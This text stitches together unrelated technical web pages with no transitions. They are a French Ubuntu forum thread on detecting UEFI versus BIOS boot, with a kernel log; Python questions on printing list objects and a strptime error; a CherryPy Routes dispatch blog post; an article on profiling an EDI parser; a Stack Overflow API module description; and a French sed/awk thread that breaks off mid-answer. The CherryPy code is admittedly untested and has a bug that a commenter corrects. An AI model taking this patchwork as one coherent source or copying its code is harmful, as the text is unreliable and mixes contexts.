[ 0.000000] EFI: mem214: type=7, attr=0xf, range=[0x000000001342d000-0x0000000013462000) (0MB)
[ 0.000000] EFI: mem215: type=4, attr=0xf, range=[0x0000000013462000-0x0000000013542000) (0MB)
[ 0.000000] EFI: mem216: type=7, attr=0xf, range=[0x0000000013542000-0x000000001355f000) (0MB)
[ 0.000000] EFI: mem217: type=4, attr=0xf, range=[0x000000001355f000-0x0000000013a07000) (4MB)
[ 0.000000] EFI: mem218: type=7, attr=0xf, range=[0x0000000013a07000-0x0000000020000000) (197MB)
[ 0.000000] EFI: mem219: type=0, attr=0xf, range=[0x0000000020000000-0x0000000020200000) (2MB)
[ 0.000000] EFI: mem220: type=7, attr=0xf, range=[0x0000000020200000-0x0000000036352000) (353MB)
[ 0.000000] EFI: mem221: type=2, attr=0xf, range=[0x0000000036352000-0x00000000371a1000) (14MB)
[ 0.000000] EFI: mem222: type=7, attr=0xf, range=[0x00000000371a1000-0x0000000040004000) (142MB)
[ 0.000000] EFI: mem223: type=0, attr=0xf, range=[0x0000000040004000-0x0000000040005000) (0MB)
[ 0.000000] EFI: mem224: type=7, attr=0xf, range=[0x0000000040005000-0x00000000999d9000) (1433MB)
[ 0.000000] EFI: mem225: type=2, attr=0xf, range=[0x00000000999d9000-0x00000000c8eab000) (756MB)
[ 0.000000] EFI: mem226: type=5, attr=0x800000000000000f, range=[0x00000000c8eab000-0x00000000c8ead000) (0MB)
[ 0.000000] EFI: mem227: type=0, attr=0xf, range=[0x00000000c8ead000-0x00000000c8fc0000) (1MB)
[ 0.000000] EFI: mem228: type=5, attr=0x800000000000000f, range=[0x00000000c8fc0000-0x00000000c8fd9000) (0MB)
[ 0.000000] EFI: mem229: type=6, attr=0x800000000000000f, range=[0x00000000c8fd9000-0x00000000c8fe6000) (0MB)
[ 0.000000] EFI: mem230: type=5, attr=0x800000000000000f, range=[0x00000000c8fe6000-0x00000000c9022000) (0MB)
[ 0.000000] EFI: mem231: type=6, attr=0x800000000000000f, range=[0x00000000c9022000-0x00000000c9082000) (0MB)
[ 0.000000] EFI: mem232: type=5, attr=0x800000000000000f, range=[0x00000000c9082000-0x00000000c9099000) (0MB)
[ 0.000000] EFI: mem233: type=6, attr=0x800000000000000f, range=[0x00000000c9099000-0x00000000c90a8000) (0MB)
[ 0.000000] EFI: mem234: type=6, attr=0x800000000000000f, range=[0x00000000c90a8000-0x00000000c90c3000) (0MB)
[ 0.000000] EFI: mem235: type=0, attr=0xf, range=[0x00000000c90c3000-0x00000000c910a000) (0MB)
[ 0.000000] EFI: mem236: type=0, attr=0xf, range=[0x00000000c910a000-0x00000000c911a000) (0MB)
[ 0.000000] EFI: mem237: type=10, attr=0xf, range=[0x00000000c911a000-0x00000000c953b000) (4MB)
[ 0.000000] EFI: mem238: type=0, attr=0xf, range=[0x00000000c953b000-0x00000000c9558000) (0MB)
[ 0.000000] EFI: mem239: type=0, attr=0xf, range=[0x00000000c9558000-0x00000000c955e000) (0MB)
[ 0.000000] EFI: mem240: type=0, attr=0xf, range=[0x00000000c955e000-0x00000000c95c3000) (0MB)
[ 0.000000] EFI: mem241: type=10, attr=0xf, range=[0x00000000c95c3000-0x00000000c9751000) (1MB)
[ 0.000000] EFI: mem242: type=10, attr=0xf, range=[0x00000000c9751000-0x00000000c980d000) (0MB)
[ 0.000000] EFI: mem243: type=10, attr=0xf, range=[0x00000000c980d000-0x00000000c981e000) (0MB)
[ 0.000000] EFI: mem244: type=10, attr=0xf, range=[0x00000000c981e000-0x00000000c9828000) (0MB)
[ 0.000000] EFI: mem245: type=10, attr=0xf, range=[0x00000000c9828000-0x00000000c982c000) (0MB)
[ 0.000000] EFI: mem246: type=10, attr=0xf, range=[0x00000000c982c000-0x00000000c9843000) (0MB)
[ 0.000000] EFI: mem247: type=9, attr=0xf, range=[0x00000000c9843000-0x00000000c9847000) (0MB)
[ 0.000000] EFI: mem248: type=9, attr=0xf, range=[0x00000000c9847000-0x00000000c9848000) (0MB)
[ 0.000000] EFI: mem249: type=10, attr=0xf, range=[0x00000000c9848000-0x00000000c988b000) (0MB)
[ 0.000000] EFI: mem250: type=4, attr=0xf, range=[0x00000000c988b000-0x00000000c99d0000) (1MB)
[ 0.000000] EFI: mem251: type=3, attr=0xf, range=[0x00000000c99d0000-0x00000000c9c5e000) (2MB)
[ 0.000000] EFI: mem252: type=4, attr=0xf, range=[0x00000000c9c5e000-0x00000000c9c6d000) (0MB)
[ 0.000000] EFI: mem253: type=3, attr=0xf, range=[0x00000000c9c6d000-0x00000000c9c7f000) (0MB)
[ 0.000000] EFI: mem254: type=4, attr=0xf, range=[0x00000000c9c7f000-0x00000000c9c80000) (0MB)
[ 0.000000] EFI: mem255: type=3, attr=0xf, range=[0x00000000c9c80000-0x00000000c9c82000) (0MB)
[ 0.000000] EFI: mem256: type=4, attr=0xf, range=[0x00000000c9c82000-0x00000000c9c89000) (0MB)
[ 0.000000] EFI: mem257: type=6, attr=0x800000000000000f, range=[0x00000000c9c89000-0x00000000c9ff5000) (3MB)
[ 0.000000] EFI: mem258: type=4, attr=0xf, range=[0x00000000c9ff5000-0x00000000ca000000) (0MB)
[ 0.000000] EFI: mem259: type=7, attr=0xf, range=[0x0000000100000000-0x000000042fe00000) (13054MB)
[ 0.000000] EFI: mem260: type=0, attr=0x8000000000000000, range=[0x00000000cb000000-0x00000000cf200000) (66MB)
[ 0.000000] EFI: mem261: type=11, attr=0x8000000000000001, range=[0x00000000f8000000-0x00000000fc000000) (64MB)
[ 0.000000] EFI: mem262: type=11, attr=0x8000000000000001, range=[0x00000000fec00000-0x00000000fec01000) (0MB)
[ 0.000000] EFI: mem263: type=11, attr=0x8000000000000001, range=[0x00000000fed00000-0x00000000fed04000) (0MB)
[ 0.000000] EFI: mem264: type=11, attr=0x8000000000000001, range=[0x00000000fed1c000-0x00000000fed20000) (0MB)
[ 0.000000] EFI: mem265: type=11, attr=0x8000000000000001, range=[0x00000000fee00000-0x00000000fee01000) (0MB)
[ 0.000000] EFI: mem266: type=11, attr=0x8000000000000001, range=[0x00000000ff000000-0x0000000100000000) (16MB)
[ 4.414152] fb0: EFI VGA frame buffer device
[ 4.860429] EFI Variables Facility v0.08 2004-May-17
[ 7.499759] fb: conflicting fb hw usage inteldrmfb vs EFI VGA - removing generic driver
En résumé avec le cd francophone je n'ai pas de choix. Avec le cd original je peux soit booter en UEFI soit non. Par contre je ne sais pas pourquoi.
Dernière modification par azdep (Le 20/06/2012, à 18:28)
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
J'ai fait l'essai avec VirtualBox avec l'option EFI activée (case cochée "Activer EFI (os spéciaux seulement)" dans les options avancées).
1) démarrage sur liveCD virtuel de la version officielle "ubuntu-12.04-desktop-amd64.iso"
Résultat : le démarrage se fait automatiquement sur le liveCD virtuel avec apparition de l'écran caractéristique du démarrage en EFI (menu en noir et blanc avec le titre GNU GRUB...) : http://www.hostingpics.net/viewer.php?i … 132006.png
2) démarrage sur le liveCD virtuel de la version francophone "ubuntu-12.04-desktop-amd64-fr.iso"
Résultat : le liveCD n'est tout simplement pas reconnu, c'est à dire que la machine virtuelle démarre sur le disque dur (virtuel) alors qu'elle devrait démarrer sur le liveCD virtuel s'il était fonctionnel.
C'est donc un résultat conforme à ce qui a été décrit par azdep dans le post #4, c'est à dire que le liveCD francophone n'est pas vu comme UEFI.
Dernière modification par malbo (Le 25/06/2012, à 11:35)
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Cher Monsieur Malbo, pour faire suite à votre requête du lundi 25 juin à 13h17… ;-)
Je confirme que la version française du CD d'installation de Ubuntu 12.04 ne permet pas de démarrage en UEFI. Et c'est bien naturel puisqu'il ne contient pas
|…|-- efi| `-- boot| `-- bootx64.efi|…
… contrairement à l'installeur «officiel».
J'ignore si c'est la seule condition pour que l'installeur puisse démarrer en UEFI, mais je suppose que la présence de cette arborescence, avec un *.efi au bout, est une condition sine qua non pour être détecté (et lancé) par le bootmanager UEFI (que ce soit celui du firmware ou pas).
(mais je rapelle, au passage, qu'il n'est pas indispensable de démarrer le CD d'installation en UEFI pour pouvoir installer Ubuntu 12.04 sur un système UEFI [ni même pour en préparer un, d'ailleurs]. Cela requiert, toutefois, une bonne compréhension de l'EFI et quelques précautions pour éviter des pertes de données et de temps. Il n'est simplement pas possible de s'en remettre entièrement à l'installeur de Ubuntu 12.04 pour réaliser toutes les phases de l'installation automatiquement)
Dernière modification par Tsintao (Le 25/06/2012, à 17:29)
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Merci pour cette confirmation Tsintao.
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
De rien et merci à toi pour la série de fils consacrée au sujet (que j'avais loupée).
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
merci à Tsintao,
(mais je rapelle, au passage, qu'il n'est pas indispensable de démarrer le CD d'installation en UEFI pour pouvoir installer Ubuntu 12.04 sur un système UEFI [ni même pour en préparer un, d'ailleurs]. Cela requiert, toutefois, une bonne compréhension de l'EFI et quelques précautions pour éviter des pertes de données et de temps. Il n'est simplement pas possible de s'en remettre entièrement à l'installeur de Ubuntu 12.04 pour réaliser toutes les phases de l'installation automatiquement)
Ce serait bien de décrire la procédure d'installation EFI sans démarrer le cd en UEFI, car j'ai essayé pas mal de manip pour faire un dual boot avec windows7 sur 2 disques durs, Ubuntu démarre presque dans tout les cas, mais souvent Windows ne repart pas, il suffit dans ce cas d'enlever le second disque sur lequel Ubuntu est installé.
Je comprend bien qu'on ne peut pas s'en remettre qu'à l'installeur, mais c'est qu'en même dommage d'avoir un cd francophone moins disant que l'original. Il faut aussi penser que dans les utilisateurs d'Ubuntu il n'y a pas que des ingénieurs informaticiens.
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Ce serait bien de décrire la procédure d'installation EFI sans démarrer le cd en UEFI
Salut Azdep,
Le fil de récapitulation de mon installation, avec rEFInd en tant que bootmanager et ELILO en tant que bootloader Linux, constitue, en lui même, un petit "guide" pour une installation de Ubuntu (ou autre distribution GNU/Linux) sur un système EFI avec Windows7 pré-installé. Et il est tout à fait possible de l'implémenter sans démarrer le CD d'installation en mode UEFI.
Je rechigne à en faire un guide plus générique, parce que
C'est une manière de faire, il y en a d'autres ;
Je n'ai aucune certitude que cela fonctionnerait sur tous les firmware EFI ;
Il faudrait que je donne tellement d'informations « génériques » que cela découragerait les utilisateurs visés (plutôt novices et/ou ne disposant pas d'assez de temps pour lire et intégrer le nécessaire vital).
Cela prend beaucoup de temps et cela m'engagerait vis-à-vis des utilisateurs qui me feraient confiance. Or, si j'oublie un détail par mégarde ou par ignorance, cela peut conduire à des pertes de données.
Plusieurs fils, dont ceux de Malbo, traitent du sujet sur ce forum. C'est loin d'être idéal, les informations étant disséminées… mais tant que les distributions ne seront pas disponibles avec un installeur qui automatise tout le processus sur des bases saines, il n'y a pas de miracle : les gens devront procéder eux même à quelques phases de l'installation et, préalablement, lire un peu sur le sujet pour comprendre ce qu'ils font.
Maintenant, si la demande est forte pour écrire une procédure limitée à rEFInd+ELILO mieux adaptée à un novice, j'envisagerai la possibilité ;-)
Dernière modification par Tsintao (Le 26/06/2012, à 11:31)
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bien sur Tsintao je comprend très bien ta réponse, et je sais le travail que demande ce genre de guide, c'est pour ca que la proposition de YannUbuntu de rajouter l'EFI dans le cd d'install. est surement plus simple. Ca en vaut d'autant plus le coup que la 12.04 est une LTS. Pendant mes essais et avant d'essayer le cd original, j'ai essayer le livecd Fedora et lui a fonctionner. Par acquis de conscience j'ai essayé le cd original qui heureusement à fonctionné, sinon j'aurai été un peu frustré
Dernière modification par azdep (Le 27/06/2012, à 08:17)
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
c'est pour ça que la proposition de malbo de rajouter l'EFI dans le cd d'install. est surement plus simple.
En fait, c'est YannUbuntu qui a exprimé cela : http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9746621
Cela dit je suis bien d'accord : ce serait inadmissible que le liveCD Francophone ne soit pas fonctionnel pour installer en EFI.
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Oups, j'ai corrigé la source !
Hors ligne
kao_chen
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour, j'ai fait le souhait d'acheter une carte mère équipé en EFI sur ce post :
http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9842021
et on m'a conseillé de passer vous voir par ici.
Pour résumé, j'ai repéré une carte mère (GA-Z77X-D3H) qui m’intéresse mais j'ai vu qu'elle était équipé d'un EFI seulement, je voulais savoir si pour installer Ubuntu, uniquement (pas de dual boot Windows) je rencontrerai pas d'incompatibilité. D'après ce que j'ai lu ci dessus, ça devrait passer, notamment avec la version officielle. Si vous me le déconseillez vraiment, je trouverai une autre carte, sinon je tenterai ma chance.
Merci d'avance,
Kao
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
kao_chen,
Je n'ai lu nulle part que des cartes mères UEFI soient incompatibles avec Ubuntu. Tu peux acheter n'importe quelle carte-mère soit UEFI/BIOS soit UEFI seulement.
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
kao_chen
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Ok cool merci,
J'avais lu qu'il pouvait y avoir des problèmes de compatibilité avec Grub2 mais il semble que cela ne concerne que l'activation de l'option secure boot
http://www.clubic.com/linux-os/debian/u … rub-2.html
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Dans ce post : http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9478871
tshirtman (qui semble très bien informé sur le sujet) répond "non" à la question "est ce que dans quelques années tout les PC en vente auront des carte mere avec UEFI empêchant l'installation d'autre chose que windows ? Y compris les carte meres vendues séparément ?"
Tu peux poster dans cette discussion pour te faire confirmer la chose dans ton cas particulier mais à mon avis, il n'y a pas de danger pour toi.
Dernière modification par malbo (Le 30/06/2012, à 09:07)
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
La réponse est effectivement "non". Par contre, les PC's pré-installés avec Win8 pourraient très prochainement commencer à poser de petits problèmes à ceux qui auraient l'audace de vouloir faire ce qu'ils veulent de leur ordinateur : Linux Torvalds on Windows 8, UEFI and Fedora.
... Mais ça ne s'applique pas au cas de Kao_chen, grand bien lui fasse ^^
Hors ligne
polyp
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonsoir,
avec Asus UX31A, le BIOS est..un BIOS, Cas 1 :
dmesg | grep EFI
[ 1.241248] EFI Variables Facility v0.08 2004-May-17
Mais, une fois l'installation (12.04 de ubuntu.com) faite (chargeur de démarrage sur /dev/sda, classique quoi!), la machine
ne redémarre plus.
- Précision 1 : Après plusieurs essais infructueux (Debian Wheezy puis Ubuntu 12.04) j'ai fait un ménage un peu violent...et viré toutes les partitions Fat32 de quelques Mo à 300 Mo au début du disque.. (Oui, des fois on fait des choses idiotes..)
- Précision 2: Ultrabook=SSD non extractible=Impossible de faire l'install depuis une autre machine.
Je n'ai aucune envie de garder Windows, et peut donc me passer de tout mécanisme de compatibilité concernant le chargeur de démarrage.
Bref, j'ai l'impression d'être revenu en mode débutant...
Une idée ?
Merci d'avance.
Cdlt.
Hors ligne
YannUbuntu
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Si vous aviez Windows en EFI, il va probablement vous falloir recréer la partition EFI puis réinstaller grub-efi. Voir ce tuto de Malbo: http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9866321
Hors ligne
polyp
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonsoir,
sauf que la re-création de la partition Windows/EFI (pas Windows lui-même) nécessite un retour atelier..
Je vais voir ce que donne la suppression de la partition GPT et son remplacement par une partition MBR classique; c'est ma dernière cartouche.. ;-(
Merci.
Hors ligne
YannUbuntu
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
sauf que la re-création de la partition Windows/EFI (pas Windows lui-même) nécessite un retour atelier...
- La partition EFI : non, vous pouvez créer une partition EFI avec gParted. (FAT32, >200Mo, début du disque, drapeau boot)
- le fichier WIndows EFI: ça doit pouvoir se faire via le DVD Windows je pense, mais comme vous n'avez pas besoin de WIndows, ce n'est pas le problème.
Dernière modification par YannUbuntu (Le 05/07/2012, à 00:16)
Hors ligne
polyp
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Merci pour toutes vos infos .
Je suis en train de refaire la partition à la main en suivant http://forum.ubuntu-fr.org/viewtopic.ph … 1#p7281381
Et....Ca marche !
Quelques modifs :
- il manque un mkdir /boot/efi
- Lors de l'install le nom de l'hote change de ubuntu à xxxxx
echo "127.0.0.1 xxxxx" >> /etc/hosts
- Par sécurité : cp -r /boot/efi/EFI/ubuntu /boot/efi/EFI/xxxxx
MERCI. !!
Hors ligne
|
I've made a class containing a list, with the following code:
class ProdReg:
def __init__(self):
self.__Pliste=[]
This works perfectly. I've also added a method to print the contents of my list:
def printProdReg(self):
for produkt in self.__Pliste:
print(produkt)
This doesn't work all to great, When I try to add an object to this list, I get the following error:
<__main__.Bok object at 0x05777970>
The object is a class called Bok.
No idea what so ever how I can resolve this.
|
« A radical act of obedience Dejavu 1.4.0 (Python ORM) release »
While at PyCon in Dallas this weekend, I got a chance to hear David Creemer talk about how he's using CherryPy (among lots of other tools) to deliver a site that's getting 250,000 hits a day before it's even been officially launched. He mentioned during the "lightning" (5 minute) talk that, of his entire toolkit, CherryPy and SQLObject were two of the tools that "mostly worked, except..." I spoke with him after the talk about his concerns, and the big CherryPy issue was dispatching: he prefers a Routes-style dispatch mechanism, which makes changes to the design easier.
He had previously posted his cherrypy+routes script, which I read but hadn't done anything about. I mentioned to him yesterday that it might be better, when overriding the dispatch mechanism, to do so in a custom Request class, rather than in a single exposed default method on the cherrypy tree. Here's a first crack at what that would look like; I haven't tested it but it's more to get the idea of custom Request classes out there than to be a working patch
import urllib
import cherrypy
from cherrypy import _cphttptools
import routes
mapper = routes.Mapper()
controllers = {}
def redirect( url ):
raise cherrypy.HTTPRedirect( url )
def mapConnect( name, route, controller, **kwargs ):
controllers[ name ] = controller
mapper.connect( name, route, controller=name, **kwargs )
def mapFinalize():
mapper.create_regs( controllers.keys() )
def URL( name, query = None, doseq = None, **kwargs ):
uri = routes.url_for( name, **kwargs )
if not uri:
return "/UNKNOWN-%s" % name
if query:
uri += '?' + urllib.urlencode(query, doseq)
return uri
class RoutesRequest(_cphttptools.Request):
def main(self, path=None):
"""Obtain and set cherrypy.response.body from a page handler."""
if path is None:
path = self.object_path
page_handler = self.mapPathToObject(path)
virtual_path = path.split("/")
# Decode any leftover %2F in the virtual_path atoms.
virtual_path = [x.replace("%2F", "/") for x in virtual_path if x]
kwargs = self.params.copy()
kwargs.update( cherrypy.request.mapper_dict )
try:
body = page_handler(*virtual_path, **kwargs)
except Exception, x:
x.args = x.args + (page_handler,)
raise
cherrypy.response.body = body
def mapPathToObject(self, objectpath):
"""For path, return the corresponding exposed callable (or raise NotFound).
path should be a "relative" URL path, like "/app/a/b/c". Leading and
trailing slashes are ignored.
"""
# tell routes to use the cherrypy threadlocal object
config = routes.request_config()
if hasattr(config, 'using_request_local'):
config.request_local = lambda: self
config = routes.request_config()
# hook up the routes variables for this request
config.mapper = mapper
config.host = self.headerMap['Host']
config.protocol = self.scheme
config.redirect = redirect
config.mapper_dict = mapper.match( objectpath )
if config.mapper_dict:
c = config.mapper_dict.pop( 'controller', None )
if c:
controller = controllers[c]
# we have a controller, now emulate cherrypy's index/default/callable semantics:
action = config.mapper_dict.pop( 'action', 'index' )
meth = getattr( controller, action, None )
if not meth:
meth = getattr( controller, 'default', None )
if not meth and callable( controller ) and action == 'index' :
meth = controller
if meth and getattr( meth, 'exposed', False ):
return meth
raise cherrypy.NotFound( objectpath )
# 'authui' is a module with login/logout functions
mapConnect( name = 'home', route = '', controller = home )
mapConnect( name = 'auth', route = 'auth/:action', controller = authui,
requirements = dict( action='(login|logout)' ) )
mapFinalize()
cherrypy.server.request_class = RoutesRequest
cherrypy.server.start()
Look, Ma, no root!
This is a good improvement on David Creamer's original code. One change needs to be made to make it work past the first use. The line in the mapPathToObject method:
config.request_local = lambda: self
should be changed to:
config.request_local = lambda: cherrypy.request
Otherwise, the second request (works the first time) will try to access an object with no mapper_dict attribute and an AttributeError is raised.
Still and all, this is excellent!
And I can't believe I mispelled David's last name in my last post - my apologies to David; that should be Creemer.
|
Interpreting Output
The statistical output shows the number of times a method was called (ncalls), the total time spent in the specified method but not in any of its children (tottime), the amount of time spent for each call to the specified method (the first percall), the amount of time spent in a method and calls to its children (cumtime), the amount of time spent for each call to the specified method including child methods (the second percall), and the filename. Given the profiling information, I can see that my three biggest bottlenecks are in x12_parser.py (in the body_seg method), state_machine.py (in the run method), and edi_handler.py (in the segment method).
I sorted the statistics on the tottime column (by passing "time" to the sort_stats() method) to show how well each method performed by itself. The total time spent in the top four methods is about 97 percent of the entire processing time. The top one takes about 43 percent of the entire processing time.
I should now ask the question, Is it fast enough? My answer is, Probably, but faster would be nice. It can parse about 300 2K interchanges per second on my laptop, (about 440 per second if I don't take into consideration Python interpreter startup, library imports, and such), which is actually pretty respectable, but I would like to trim whatever time I can. The profiler has pointed out a couple of glaring architectural deficiencies, so some changes are in order.
I just mentioned the parser's performance without Python interpreter startup and library imports. The timeit module is an excellent tool for helping determine the performance of only the interesting piece of code. I put this code:
import timeit
t = timeit.Timer("main()", "from __main__ import main")
res_set = t.repeat(10, 1)
print res_set, "::", min(res_set)
in my if __name__ == "__main__": block and ran it.
jmjones@qiwi 5:39AM parser % python aggregate_parser.py
~/svn/ediplex/example_data/edi_1000_interchanges.txt
[3.1825220584869385, 2.4778821468353271, 2.4290919303894043, 2.4358069896697998,
2.4379229545593262, 2.4492578506469727, 2.439661979675293, 2.4325060844421387,
2.4347169399261475, 2.435114860534668] :: 2.42909193039
repeat(10, 1) runs 10 iterations of the specified code one time. I specified for the code to execute only once per iteration because I handled the looping by parsing a file of 1,000 EDI interchanges. The output of repeat() is a list of runtimes for each repeating call to the specified code. The recommended method of determining performance for a piece of code (by using timeit) is to take the minimum value from the returned list.
Finding and Fixing Bottlenecks
Related Reading
A primer on X12 EDI would probably be helpful at this point. EDI documents are character-delimited text files, which are more machine-readable than human-readable. Each document is made up of one interchange; each interchange is made up of a series of segments that roughly equate to database records; each segment is made up of elements that roughly equate to database columns. The first few characters of each segment (sometimes called the tag), up to the element-separating delimiter, declares what type of segment it is. The first segment in an X12 interchange has an ISA tag. The last segment in an X12 interchange has an IEA tag.
First problem: when ediplex parses an EDI document, it first determines whether it has a valid header segment, then proceeds to look for each individual segment and determines whether that segment is the end segment. This is really inefficient and results in an inordinate number of calls to the body_seg() method as it chunks through the document. A better method would be to read in the body of the EDI document in bigger chunks to search specifically for the end segment rather than just the segment delimiter.
Second problem: aggregate_parser calls a segment() method in the specified EDI handler for each segment it finds, passing it the segment data. aggregate_parser was using the NoOpEDIHandler for this example. The segment() method in this particular handler does nothing. The entirety of this segment() method is pass. It's interesting, but not surprising, that a no-op now takes about 20 percent of the overall processing time; it's not surprising because the parser called segment() 136,000 times. This is an obvious inefficiency, but it is also an architectural problem. If I write a piece of code that uses this parser, which ignores the finer level of detail of an EDI document at the segment level, then handling segment data, even with a no-op, costs a 20 percent performance hit. A better method would be to return a segment iterator such that code will retrieve segments only when the interested code calls the iterator's next() method.
I have rearchitected ediplex to work more iteratively rather than relying on callbacks. I have also reduced the granularity of what the parser is interested in on its first pass. Now when ediplex parses a file of EDI interchanges, it identifies the header segment, then immediately starts looking for the footer segment rather than each body segment. When it finds a full interchange, it yields a parser object, which can, in turn, return an iterator for the interchange's segments.
|
Screenshot / Code Snippet
import pyso
# Install the Server Fault API version 1.0.
pyso.install_site(pyso.APISite("api.serverfault.com", "1.0"))
# Get all the names of the moderators.
print list((m["display_name"] for m in pyso.get_all_moderators()))
# Get question titles by user ID.
print list(q["title"] for q in pyso.get_users_questions(59180))
About
This is a simple Python module providing functions for querying Stack Overflow. I created it mostly because I was interested and because I wanted something small (it's not even 400 lines). It's simple; it works with Stack Overflow out of the box. Just import pyso and start calling the functions. All results are Python dicts and/or lists, a straight deserialization provided by a json module. A generator is returned by functions that return multiple items.
All the functions are backed by a simple APISite class that does all the data fetching. To access another Stack Exchange site call install_site() with a new APISite instance created with the site API URL, e.g. "api.serverfault.com". Also, in cases where there isn't a pyso level function available this class can be used to make your a request. As well, there isn't a whole of error handling or documentation, so read the source.
License
GPL version 2 for now.
Download
Source code is available at github.com
Home page: http://github.com/jwatney/pyso
Repository: git://github.com/jwatney/pyso.git
Platform
Works with Python 2.6. Not sure about other versions.
Contact
Contact me at jonathonwatney at gmail dot com, or through the issue tracker at github if you have a bug or feature request.
|
I need to parse date and time. Here is what I've got:
import time
a = time.strptime('Apr 28 2013 23:01', "%b %d %y %H:%M")
print a
But it gives me
Traceback (most recent call last):
File "/home/aaa/Documents/python_test.py", line 17, in <module>
a = time.strptime('Apr 28 2013 23:01', "%b %d %y %H:%M")
File "/usr/lib/python2.7/_strptime.py", line 467, in _strptime_time
return _strptime(data_string, format)[0]
File "/usr/lib/python2.7/_strptime.py", line 325, in _strptime
(data_string, format))
ValueError: time data 'Apr 28 2013 23:01' does not match format '%b %d %y %H:%M'
What am I doing wrong?
|
Hizoka
encore du sed et awk
Bonjour !
Je viens vers vous pour demander un peu d'aide...
Voici un exemple de fichier sur lequel je travaille :
poupou (0.0.1~ppa1~precise) precise; urgency=low ()
* blublu de bugs
* blabla
-- Belleguic Terence <hizo@free.fr> Fri, 12 Oct 2012 06:39:46 +0200
poupou (0.0.0~ppa1~precise) precise; urgency=low ()
* Correction de bugs
* Amelioration du systeme de la barre de progression
* Suppression du Service Menu et du script Nautilus car : clic droit > ouvrir avec, affiche le logiciel
-- Belleguic Terence <hizo@free.fr> Fri, 12 Oct 2012 06:29:46 +0200
mkv-extractor-gui (4.8.0~ppa1~lucid) lucid; urgency=low ()
* Ajout des dépendances python-webkit imagemagick mclean mkvalidator
* Suppression du systray qui en prévision du passage a gtk3
* Mise à jour de glade2script
* Mise à jour du système de préférence
* Remise en place du service menu ou du script nautilus
* Et d'autres choses...
-- Belleguic Terence <hizo@free.fr> Tue, 24 Jul 2012 00:35:07 +0200
mkv-extractor-gui (4.7.2~ppa2~precise) precise; urgency=low ()
* Refonte du systeme du systray
* Ajout d'une option pour utiliser le même dossier de sortie que celui d'entrée
* Correction de l'ouverture des fichiers contenant un &
* Correction de l'icone de la zone de notification
* Mise à jour de glade2script
* Utilisation de mktemp pour plus de securite
* Mise à jour des texte FR et US
* Ajout de la prise en charge d'unity pour la zone de notification
* Ajout de la langue Tcheque
-- Belleguic Terence <hizo@free.fr> Mon, 23 Jul 2012 18:50:10 +0200
Soit la variable :
nom_paquet=mkv-extractor-gui OU nom_paquet=poupou
Voila ce que je voudrais faire :
1) Récupérer la version logiciel de nom_paquet :
mkv-extractor-gui (
4.8.0~ppa1~lucid) lucid; urgency=low ()
OU
poupou (
0.0.1~ppa1~precise) precise; urgency=low ()
pour cela je fais :
sed -n "/${nom_paquet}/ s/${nom_paquet} .\(.*\)~ppa.*/\1/p" fichier | head -1
y a-t-il moyen de virer le head sans trop compliquer ?
2) Récupérer le texte commençant par des étoiles du 1er bloc de nom_paquet
et la, je bloque...
Avant (je n'avais qu'un seul nom de paquet par fichier) je faisais ca :
awk 'BEGIN {RS="\n\n";FS="\n"} (NR==2) { for(i=1; i < NF; i++) {printf substr($i,5)"@@"} printf substr($NF,5) }' fichier
qui séparait les bloc via les sauts de lignes.
J'ai également besoin des substitutions qui changent les sauts de ligne en @@.
Voila, merci
Dernière modification par Hizoka (Le 21/10/2012, à 15:11)
Hors ligne
pingouinux
Re : encore du sed et awk
Bonjour,
y a-t-il moyen de virer le head sans trop compliquer ?
sed -n "/${nom_paquet}/ s/${nom_paquet} (\(.*\)~ppa.*/\1/p;T;q" fichier
S'il n'y a pas concordance : T envoie à la fin
Sinon, on quitte
Récupérer le texte commençant par des étoiles du 1er bloc de nom_paquet
